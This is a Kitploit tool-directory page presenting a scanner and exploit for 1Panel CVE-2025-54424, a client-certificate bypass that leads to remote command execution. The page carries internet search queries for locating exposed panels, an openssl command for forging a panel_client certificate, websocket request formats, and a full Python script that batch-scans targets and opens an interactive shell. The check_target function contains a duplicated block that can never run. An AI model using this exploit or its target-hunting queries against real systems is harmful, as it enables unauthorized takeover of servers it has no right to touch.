Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
1Panel-CVE-2025-54424- — 1Panel CVE-2025-54424용 통합 스캐너 및 익스플로잇 도구로, TLS 인증서 우회와 WebSocket을 통한 원격 명령 실행을 자동화하며 배치 스캐닝 및 대화형 셸을 제공합니다. | Kitploit
도구/GitHubGitHub/anonnymous5/1panel-cve-2025-54424-
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubanonnymous5/1panel-cve-2025-54424-

1Panel-CVE-2025-54424-

1Panel CVE-2025-54424용 통합 스캐너 및 익스플로잇 도구로, TLS 인증서 우회와 WebSocket을 통한 원격 명령 실행을 자동화하며 배치 스캐닝 및 대화형 셸을 제공합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
1년 전아직 검토되지 않음

CVE-2025-54424

CVE-2025-54424: 1Panel 클라이언트 인증서 우회 RCE 취약점 통합 도구 (스캔+익스플로잇)

취약점 개요

1Panel은 오픈 소스의 현대적인 Linux 운영 관리 패널로, 웹 사이트 배포, 서버 관리 및 서비스 실행을 위한 그래픽 인터페이스를 제공합니다.

영향을 받는 버전에서 Agent 측 TLS 인증 정책은 tls.RequireAnyClientCert로 설정되어 있으며, 이는 인증서를 요구하지만 신뢰성을 검증하지 않습니다. 공격자는 자체 서명된 인증서로 TLS 검증을 우회하고, CN 필드를 panel_client로 위조하여 애플리케이션 계층 검증을 우회할 수 있습니다. 최종적으로 공격자는 위조된 인증서를 사용하여 인증되지 않은 명령 실행 인터페이스 호출을 통해 원격 명령 실행 취약점을 발생시킵니다.

영향 버전

<= v2.0.5

검색 구문

hunter 및 fofa 검색 구문은 다음과 같습니다

cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

취약점 분석

GitHub 취약점 공지 부분 복사

  • 먼저 1panel v2 Core와 Agent의 개념을 소개합니다. 새 버전이 출시된 후 1panel은 노드 관리 기능을 추가하여 노드를 추가하여 다른 호스트를 제어할 수 있습니다.
  • Core와 Agent 간의 통신에 사용되는 HTTPS 프로토콜의 인증서 검증에서 인증서의 신뢰성이 완전히 검증되지 않아 인터페이스가 인증되지 않은 상태가 됩니다. 1panel에는 많은 명령 실행 또는 높은 권한의 인터페이스가 존재하여 RCE가 발생합니다.

코드 감사 과정

  1. 먼저 Agent HTTP 라우트 파일 agent/init/router/router.go로 이동합니다

  1. Routers 함수에서 Certificate 함수를 참조하여 전역 검증 agent/middleware/certificate.go를 수행함을 발견했습니다

  2. Certificate 함수가 c.Request.TLS.HandshakeComplete를 통해 인증서 통신 여부를 판단함을 발견했습니다

  3. c.Request.TLS.HandshakeComplete의 참/거짓 판단은 agent/server/server.go 코드 Start 함수의 tls.RequireAnyClientCert에 의해 결정됩니다 참고: 여기서 tls.RequireAndVerifyClientCert 대신 tls.RequireAnyClientCert를 사용하므로, RequireAnyClientCert는 클라이언트가 인증서를 제공하기만 하면 되고 발급 CA를 검증하지 않으므로, 모든 자체 서명된 인증서가 TLS 핸드셰이크를 통과할 수 있습니다.

  4. 이후 Certificate 함수의 다른 조건으로 진입하여 인증서 CN 필드가 panel_client인지만 검증하고, 인증서 발급자는 검증하지 않습니다. 마지막으로 WebSocket 연결이 Proxy-ID 검증을 우회할 수 있음을 발견했습니다.

  • Process WebSocket 인터페이스 (위 문제를 통해 모든 프로세스 등 민감 정보 획득 가능) 라우트 주소: /process/ws 요청 형식은 다음과 같습니다
root@kitploit:~
{
  "type": "ps",           // 데이터 유형: ps(프로세스), ssh(SSH 세션), net(네트워크 연결), wget(다운로드 진행률)
  "pid": 123,             // 선택 사항, 특정 프로세스 ID 필터링
  "name": "process_name", // 선택 사항, 프로세스 이름으로 필터링
  "username": "user"      // 선택 사항, 사용자 이름으로 필터링
}

  • Terminal SSH WebSocket 인터페이스 (위 문제를 통해 임의 명령 실행 가능) 라우트 주소: /hosts/terminal 요청 형식은 다음과 같습니다
root@kitploit:~
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // "whoami"의 base64 인코딩, 엔터를 잊지 마세요.
}

  • Container Terminal WebSocket 인터페이스 (컨테이너 명령 실행 인터페이스) 라우트 주소: /containers/terminal
  • File Download Process WebSocket 인터페이스 (자동으로 다운로드 진행 정보 푸시) 라우트 주소: /files/wget/process

취약점 재현

수동 재현

  1. 인증서 생성

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

  1. Burp에 생성된 panel_client.crt와 panel_client.key를 로드한 후, ws 요청을 열고 대상 시작 요청 설정

일괄 탐지

제가 개발한 도구 CVE-2025-54424.py 스크립트를 사용하여 일괄 탐지 및 이용이 가능합니다. 도구 사용법은 다음과 같습니다.

필요한 의존성 설치 pip install websocket-client cryptography PySocks requests

root@kitploit:~
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     单个目标,进入利用模式。例如: 192.168.1.100:8080
  -f FILE, --file FILE  目标文件,进入批量扫描模式。
  -o OUTPUT, --output OUTPUT
                        [扫描模式] 保存漏洞结果的文件名。
  -t THREADS, --threads THREADS
                        [扫描模式] 并发线程数。
  --proxy PROXY         为所有请求设置代理。例如: http://127.0.0.1:8080

예를 들어 단일 탐지 및 명령 실행 (SSH 대화형 명령 실행)은 아래 그림과 같습니다

root@kitploit:~
import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- 核心功能函数 ---

def generate_self_signed_cert():
    """动态生成CN为'panel_client'的证书和私钥,并返回临时文件路径。"""
    with print_lock:
        print("[*] 正在动态生成伪造的客户端证书...")
    try:
        private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        subject = issuer = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"panel_client")])
        cert_builder = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(
            private_key.public_key()
        ).serial_number(x509.random_serial_number()).not_valid_before(
            datetime.datetime.utcnow()
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=365)
        )
        cert = cert_builder.sign(private_key, hashes.SHA256())
        
        key_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".key")
        key_file.write(private_key.private_bytes(
            encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption(),
        ))
        key_file.close()
        
        cert_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".crt")
        cert_file.write(cert.public_bytes(serialization.Encoding.PEM))
        cert_file.close()
        
        with print_lock:
            print(f"[+] 证书已生成: {cert_file.name}, {key_file.name}")
        return cert_file.name, key_file.name
    except Exception as e:
        with print_lock:
            print(f"[ERROR] 生成证书时发生错误: {e}")
        return None, None

def check_target(target_host, cert_path, key_path, proxy_dict, proxy_opts):
    """对单个目标执行完整的两步检测流程。返回 (target_host, bool, str)"""
    # 步骤一:HTTP 预检
    check_url = f"https://{target_host}/api/v2/dashboard/base/os"
    headers = {
        'User-Agent': '1panel_client',
        'Origin':f"https://{target_host}/",
        'Content-Type': 'application/ison'
    }
    try:
        response = requests.get(
            check_url, cert=(cert_path, key_path), proxies=proxy_dict, verify=False, timeout=10, headers=headers
        )
        if response.status_code != 200:
            return target_host, False, f"预检失败 (HTTP {response.status_code})"
        with print_lock:
            print(f"[*] {target_host:<21} - HTTP 预检成功 (200 OK)")
    except requests.exceptions.RequestException as e:
        return target_host, False, f"预检请求失败 ({type(e).__name__})"

    # 步骤二:WebSocket 连接尝试
    ws_url = f"wss://{target_host}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, timeout=10, **proxy_opts)
        ws.close()
        return target_host, True, "存在漏洞 (HTTP预检和WSS连接均成功)"
    except Exception as e:
        return target_host, False, f"WSS连接失败 ({type(e).__name__})"

    # 步骤二:WebSocket 连接尝试
    ws_url = f"wss://{target_host}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, timeout=10, **proxy_opts)
        ws.close()
        return True, "存在漏洞 (HTTP预检和WSS连接均成功)"
    except Exception as e:
        return False, f"WSS连接失败 ({type(e).__name__})"

def receive_thread(ws):
    """交互式Shell的接收线程。"""
    global exploit_running
    while exploit_running:
        try:
            raw_message = ws.recv()
            if not raw_message: continue
            response_json = json.loads(raw_message)
            if isinstance(response_json, dict) and "data" in response_json and response_json["data"]:
                decoded_bytes = base64.b64decode(response_json["data"])
                output_str = decoded_bytes.decode('utf-8', errors='ignore')
                sys.stdout.write(output_str)
                sys.stdout.flush()
        except (websocket.WebSocketConnectionClosedException, ConnectionResetError):
            if exploit_running: print("\n[*] 连接意外关闭。"); exploit_running = False
            break
        except Exception: pass

def run_exploit_mode(target, cert_path, key_path, proxy_opts):
    """执行单目标利用。"""
    global exploit_running
    print("[*] 正在尝试获取交互式 Shell...")
    ws_url = f"wss://{target}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, **proxy_opts)
        print("[+] Shell 获取成功!")
        print("[*] 输入 'exit' 或按下 Ctrl+C 退出。")
        print("---")

        recv_th = threading.Thread(target=receive_thread, args=(ws,))
        recv_th.daemon = True
        recv_th.start()
        
        while exploit_running:
            try:
                cmd = input()
                if cmd.strip().lower() == 'exit': break
                b64_cmd = base64.b64encode((cmd + '\n').encode('utf-8')).decode('utf-8')
                ws.send(json.dumps({"type": "cmd", "data": b64_cmd}))
            except EOFError: break
        
        exploit_running = False
        ws.close()
    except KeyboardInterrupt:
        print("\n[*] 用户中断,正在关闭 Shell...")
    except Exception as e:
        print(f"\n[-] 获取 Shell 时发生错误: {e}")
    finally:
        exploit_running = False

def run_scan_mode(targets, cert_path, key_path, proxy_dict, proxy_opts, threads, output_file):
    """执行批量扫描。"""
    print(f"[*] 开始对 {len(targets)} 个目标进行检测,使用 {threads} 个线程...")
    with ThreadPoolExecutor(max_workers=threads) as executor:
        future_to_target = {executor.submit(check_target, t, cert_path, key_path, proxy_dict, proxy_opts): t for t in targets}
        for future in as_completed(future_to_target):
            target, is_vulnerable, message = future.result()
            with print_lock:
                if is_vulnerable:
                    print(f"[+] {target:<21} - {message}")
                    vulnerable_hosts.append(target)
                else:
                    print(f"[-] {target:<21} - {message}")
    
    if vulnerable_hosts:
        print(f"\n[*] 检测完成!发现 {len(vulnerable_hosts)} 个存在漏洞的目标。")
        with open(output_file, 'w') as f:
            for host in vulnerable_hosts:
                f.write(host + '\n')
        print(f"[+] 结果已保存到文件: {output_file}")
    else:
        print("\n[*] 检测完成,未发现存在漏洞的目标。")

def main():
    parser = argparse.ArgumentParser(description="1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)\n作者: Mrxn https://github.com/Mr-xn", formatter_class=argparse.RawTextHelpFormatter)
    mode = parser.add_mutually_exclusive_group(required=True)
    mode.add_argument("-u", "--url", help="单个目标,进入利用模式。例如: 192.168.1.100:8080")
    mode.add_argument("-f", "--file", help="目标文件,进入批量扫描模式。")
    
    parser.add_argument("-o", "--output", default="vulnerable_targets.txt", help="[扫描模式] 保存漏洞结果的文件名。")
    parser.add_argument("-t", "--threads", type=int, default=20, help="[扫描模式] 并发线程数。")
    parser.add_argument("--proxy", help="为所有请求设置代理。例如: http://127.0.0.1:8080")
    args = parser.parse_args()

    cert_path, key_path = generate_self_signed_cert()
    if not cert_path: sys.exit(1)

    proxy_dict = {"http": args.proxy, "https": args.proxy} if args.proxy else {}
    proxy_opts = {}
    if args.proxy:
        print(f"[*] 所有请求将通过代理: {args.proxy}")
        p = urlparse(args.proxy)
        proxy_opts = {"proxy_type": p.scheme, "http_proxy_host": p.hostname, "http_proxy_port": p.port, "http_proxy_auth": (p.username, p.password) if p.username else None}

    try:
        if args.url:
            # --- 利用模式 ---
            print(f"---[ 进入单点利用模式: {args.url} ]---")
            target, is_vulnerable, message = check_target(args.url, cert_path, key_path, proxy_dict, proxy_opts)
            if is_vulnerable:
                print(f"[+] 目标 {args.url} 确认存在漏洞!")
                run_exploit_mode(args.url, cert_path, key_path, proxy_opts)
            else:
                print(f"[-] 目标 {args.url} 不存在漏洞或无法访问: {message}")
        
        elif args.file:
            # --- 扫描模式 ---
            print(f"---[ 进入批量扫描模式: {args.file} ]---")
            if not os.path.exists(args.file):
                print(f"[ERROR] 目标文件不存在: {args.file}"); return
            with open(args.file, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
            if not targets:
                print("[ERROR] 目标文件为空。"); return
            run_scan_mode(targets, cert_path, key_path, proxy_dict, proxy_opts, args.threads, args.output)

    except KeyboardInterrupt:
        print("\n[*] 用户中断,正在退出...")
    finally:
        if cert_path and os.path.exists(cert_path): os.remove(cert_path)
        if key_path and os.path.exists(key_path): os.remove(key_path)
        print("[*] 临时证书已清理,程序退出。")

if __name__ == "__main__":
    main()

고지

이 도구는 보안 연구 및 학습 목적으로만 제공됩니다. 본 문서의 정보를 전파하거나 이용하여 발생하는 모든 직접적 또는 간접적 결과나 손해는 사용자가 전적으로 책임지며, 저자는 어떠한 책임도 지지 않습니다.

참고

  • https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-8j63-96wh-wh3j
도구 다운로드
  • 프로젝트에 대량의 websocket 인터페이스가 존재합니다.